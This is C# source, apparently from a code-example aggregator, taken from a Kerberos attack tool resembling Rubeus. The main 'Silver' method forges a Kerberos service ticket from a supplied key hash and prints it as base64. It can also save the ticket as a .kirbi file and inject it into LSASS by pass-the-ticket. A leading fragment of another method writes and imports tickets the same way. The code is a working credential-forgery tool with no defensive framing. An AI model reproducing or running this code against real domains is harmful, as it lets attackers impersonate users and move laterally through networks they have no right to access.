                        string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}";
                        filename = Helpers.MakeValidFileName(filename);
                        if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                        }
                    }

                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes, new Interop.LUID());
                    }
                }
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
        }
예제 #5
0
        public static void Silver(string user, string sname, string keyString, Interop.KERB_ETYPE etype, string domain = "", string outfile = null, bool ptt = false, Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent)
        {
            // determine domain if not supplied
            string[] parts = sname.Split('/');
            if (String.IsNullOrEmpty(domain))
            {
                if ((parts.Length > 1) && (parts[0] == "krbtgt"))
                {
                    Console.WriteLine("[X] Referral TGT requires /domain to be passed.");
                    return;
                }
                else if ((parts.Length == 1) && (sname.Split('@').Length == 1))
                {
                    Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or '*****@*****.**'.");
                    return;
                }
                else if (parts.Length > 1)
                {
                    domain = parts[1].Substring(parts[1].IndexOf('.') + 1);
                    string[] domainParts = domain.Split(':');
                    if (domainParts.Length > 1)
                    {
                        domain = domainParts[0];
                    }
                }
                else if (sname.Split('@').Length > 1)
                {
                    domain = sname.Split('@')[1];
                }
                else
                {
                    Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname);
                    return;
                }
            }

            // initialize some structures
            KRB_CRED    cred = new KRB_CRED();
            KrbCredInfo info = new KrbCredInfo();

            // generate a random session key
            Random random = new Random();

            byte[] randKeyBytes;
            if (etype == Interop.KERB_ETYPE.rc4_hmac)
            {
                randKeyBytes = new byte[16];
                random.NextBytes(randKeyBytes);
            }
            else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
            {
                randKeyBytes = new byte[32];
                random.NextBytes(randKeyBytes);
            }
            else
            {
                Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!");
                return;
            }

            EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, domain.ToUpper(), user, flags);

            // get the key from keyString
            byte[] key = Helpers.StringToByteArray(keyString);

            // encrypt the EncTicketPart
            byte[] encTicketData = decTicketPart.Encode().Encode();
            byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);

            // initialize the ticket and add the enc_part
            Ticket ticket = new Ticket(domain.ToUpper(), sname);

            ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3);

            // add the ticket
            cred.tickets.Add(ticket);

            // [0] add in the session key
            info.key.keytype  = (int)etype;
            info.key.keyvalue = randKeyBytes;

            // [1] prealm (domain)
            info.prealm = decTicketPart.crealm;

            // [2] pname (user)
            info.pname.name_type   = decTicketPart.cname.name_type;
            info.pname.name_string = decTicketPart.cname.name_string;

            // [3] flags
            info.flags = flags;

            // [4] authtime (not required)
            info.authtime = decTicketPart.authtime;

            // [5] starttime
            info.starttime = decTicketPart.starttime;

            // [6] endtime
            info.endtime = decTicketPart.endtime;

            // [7] renew-till
            info.renew_till = decTicketPart.renew_till;

            // [8] srealm
            info.srealm = ticket.realm;

            // [9] sname
            info.sname.name_type   = ticket.sname.name_type;
            info.sname.name_string = ticket.sname.name_string;

            // add the ticket_info into the cred object
            cred.enc_part.ticket_info.Add(info);

            byte[] kirbiBytes = cred.Encode().Encode();

            string kirbiString = Convert.ToBase64String(kirbiBytes);

            Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname);
            Console.WriteLine("[*] base64(ticket.kirbi):\r\n");

            if (Program.wrapTickets)
            {
                // display the .kirbi base64, columns of 80 chararacters
                foreach (string line in Helpers.Split(kirbiString, 80))
                {
                    Console.WriteLine("      {0}", line);
                }
            }
            else
            {
                Console.WriteLine("      {0}", kirbiString);
            }

            Console.WriteLine("");

            if (!String.IsNullOrEmpty(outfile))
            {
                string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
                filename = Helpers.MakeValidFileName(filename);
                if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                {
                    Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                }
            }

            if (ptt)
            {
                // pass-the-ticket -> import into LSASS
                LSA.ImportTicket(kirbiBytes, new LUID());
            }
        }